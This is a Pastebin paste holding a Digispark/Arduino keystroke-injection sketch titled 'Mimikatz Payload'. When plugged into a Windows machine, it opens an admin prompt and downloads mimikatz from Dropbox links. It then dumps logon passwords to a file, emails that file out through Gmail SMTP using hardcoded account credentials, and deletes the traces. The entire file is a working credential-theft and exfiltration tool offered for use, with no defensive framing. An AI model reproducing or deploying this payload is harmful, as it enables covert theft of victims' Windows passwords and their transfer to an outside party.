Advertisement
Eric_Johnson

Mimikatz Payload

Jun 19th, 2017
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.35 KB | None | 0 0
  1. /*
  2. * Generated with <3 by Dckuino.js, an open source project !
  3. */
  4.  
  5. #include <avr/pgmspace.h>
  6. #include "DigiKeyboard.h"
  7. const char line1[] PROGMEM = "cmd";
  8. const char line2[] PROGMEM = "powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/brlbuz6iqdq824o/mimikatz32.exe?dl=1','%TEMP%\\pw.exe'); }else{ (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/";
  9. const char line3[] PROGMEM = "s/3lytqt42b39rauf/mimikatz64.exe?dl=1','%TEMP%\\pw.exe');}";
  10. const char line4[] PROGMEM = "%TEMP%\\pw.exe > c:\\pwlog.txt & type pwlog.txt;";
  11. const char line5[] PROGMEM = "privilege::debug";
  12. const char line6[] PROGMEM = "sekurlsa::logonPasswords full";
  13. const char line7[] PROGMEM = "exit";
  14. const char line8[] PROGMEM = "del %TEMP%\\pw.exe";
  15. const char line9[] PROGMEM = "powershell";
  16. const char line10[] PROGMEM = "$SMTPServer = 'smtp.gmail.com'";
  17. const char line11[] PROGMEM = "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)";
  18. const char line12[] PROGMEM = "$SMTPInfo.EnableSsl = $true";
  19. const char line13[] PROGMEM = "$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('theoneandonlymrcharles', 'Inception');";
  20. const char line14[] PROGMEM = "$ReportEmail = New-Object System.Net.Mail.MailMessage";
  21. const char line15[] PROGMEM = "$ReportEmail.From = 'theoneandonlymrcharles@gmail.com'";
  22. const char line16[] PROGMEM = "$ReportEmail.To.Add('alphaone150@gmail.com')";
  23. const char line17[] PROGMEM = "$ReportEmail.Subject = 'Duck Report'";
  24. const char line18[] PROGMEM = "$ReportEmail.Body = 'Attached is your duck report.'";
  25. const char line19[] PROGMEM = "$ReportEmail.Attachments.Add('c:\\pwlog.txt')";
  26. const char line20[] PROGMEM = "$SMTPInfo.Send($ReportEmail)";
  27. const char line21[] PROGMEM = "exit";
  28. const char line22[] PROGMEM = "del c:\\pwlog.txt";
  29. const char line23[] PROGMEM = "exit";
  30.  
  31. char buffer[256];
  32.  
  33. #define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
  34. #define KEY_UP_ARROW 0x52
  35. #define KEY_DOWN_ARROW 0x51
  36. #define KEY_LEFT_ARROW 0x50
  37. #define KEY_RIGHT_ARROW 0x4F
  38. #define KEY_LEFT_GUI 0xE3
  39. #define KEY_ESC 0x29
  40. #define KEY_TAB 0x2B
  41.  
  42. void digiBegin() {
  43. DigiKeyboard.sendKeyStroke(0,0);
  44. DigiKeyboard.delay(50);
  45. }
  46.  
  47. void digiEnd() {
  48. const int led=1;
  49. pinMode(led, OUTPUT);
  50. while (1) {
  51. digitalWrite(led, !digitalRead(led));
  52. DigiKeyboard.delay(1000);
  53. }
  54. }
  55.  
  56. void printText(char *txt) {
  57. DigiKeyboard.print(txt);
  58. DigiKeyboard.update();
  59. }
  60.  
  61. void setup() {
  62. digiBegin();
  63.  
  64. // Author: Pesce
  65. // Date: 10/20/2013
  66. // Note: Thanks to all the help everyone! This is my first attempt, don't be to upset!
  67. // -------------open command prompt with admin privileges
  68. DigiKeyboard.delay(3000);
  69.  
  70. DigiKeyboard.sendKeyStroke(KEY_ESC,MOD_CONTROL_LEFT);
  71.  
  72. DigiKeyboard.delay(1000);
  73.  
  74. // cmd
  75. printText(GetPsz(line1));
  76.  
  77. DigiKeyboard.delay(1000);
  78.  
  79. DigiKeyboard.sendKeyStroke(KEY_ENTER,MOD_CONTROL_LEFT|MOD_SHIFT_LEFT);
  80.  
  81. DigiKeyboard.delay(1000);
  82.  
  83. DigiKeyboard.sendKeyStroke(KEY_Y,MOD_ALT_LEFT);
  84.  
  85. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  86.  
  87. DigiKeyboard.delay(300);
  88.  
  89. // -------------download appropriate mimikatz for architecture
  90. // powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/s/brlbuz6iqdq824o/mimikatz32.exe?dl=0','%TEMP%\\pw.exe'); }else{ (new-object System.Net.WebClient).DownloadFile('https://www.dropbox.com/
  91. printText(GetPsz(line2));
  92. // s/3lytqt42b39rauf/mimikatz64.exe?dl=0','%TEMP%\\pw.exe');}
  93. printText(GetPsz(line3));
  94.  
  95. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  96.  
  97. DigiKeyboard.delay(5000);
  98.  
  99. // -------------get the passwords and save to c:\pwlog.txt
  100. // %TEMP%\\pw.exe > c:\\pwlog.txt & type pwlog.txt;
  101. printText(GetPsz(line4));
  102.  
  103. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  104.  
  105. DigiKeyboard.delay(2000);
  106.  
  107. // privilege::debug
  108. printText(GetPsz(line5));
  109.  
  110. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  111.  
  112. DigiKeyboard.delay(1000);
  113.  
  114. // sekurlsa::logonPasswords full
  115. printText(GetPsz(line6));
  116.  
  117. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  118.  
  119. DigiKeyboard.delay(1000);
  120.  
  121. // exit
  122. printText(GetPsz(line7));
  123.  
  124. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  125.  
  126. DigiKeyboard.delay(300);
  127.  
  128. // del %TEMP%\\pw.exe
  129. printText(GetPsz(line8));
  130.  
  131. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  132.  
  133. DigiKeyboard.delay(300);
  134.  
  135. // -------------email log via gmail
  136. // powershell
  137. printText(GetPsz(line9));
  138.  
  139. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  140.  
  141. DigiKeyboard.delay(300);
  142.  
  143. // $SMTPServer = 'smtp.gmail.com'
  144. printText(GetPsz(line10));
  145.  
  146. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  147.  
  148. // $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  149. printText(GetPsz(line11));
  150.  
  151. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  152.  
  153. // $SMTPInfo.EnableSsl = $true
  154. printText(GetPsz(line12));
  155.  
  156. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  157.  
  158. // $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('theoneandonlymrcharles', 'Inception');
  159. printText(GetPsz(line13));
  160.  
  161. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  162.  
  163. // $ReportEmail = New-Object System.Net.Mail.MailMessage
  164. printText(GetPsz(line14));
  165.  
  166. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  167.  
  168. // $ReportEmail.From = 'theoneandonlymrcharles@gmail.com'
  169. printText(GetPsz(line15));
  170.  
  171. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  172.  
  173. // $ReportEmail.To.Add('alphaone150@gmail.com')
  174. printText(GetPsz(line16));
  175.  
  176. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  177.  
  178. // $ReportEmail.Subject = 'Duck Report'
  179. printText(GetPsz(line17));
  180.  
  181. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  182.  
  183. // $ReportEmail.Body = 'Attached is your duck report.'
  184. printText(GetPsz(line18));
  185.  
  186. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  187.  
  188. // $ReportEmail.Attachments.Add('c:\\pwlog.txt')
  189. printText(GetPsz(line19));
  190.  
  191. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  192.  
  193. // $SMTPInfo.Send($ReportEmail)
  194. printText(GetPsz(line20));
  195.  
  196. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  197.  
  198. DigiKeyboard.delay(1000);
  199.  
  200. // exit
  201. printText(GetPsz(line21));
  202.  
  203. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  204.  
  205. // ---------------------delete and end
  206. // del c:\\pwlog.txt
  207. printText(GetPsz(line22));
  208.  
  209. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  210.  
  211. DigiKeyboard.delay(300);
  212.  
  213. // exit
  214. printText(GetPsz(line23));
  215.  
  216. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  217.  
  218. digiEnd();
  219.  
  220. }
  221. /* Unused endless loop */
  222. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement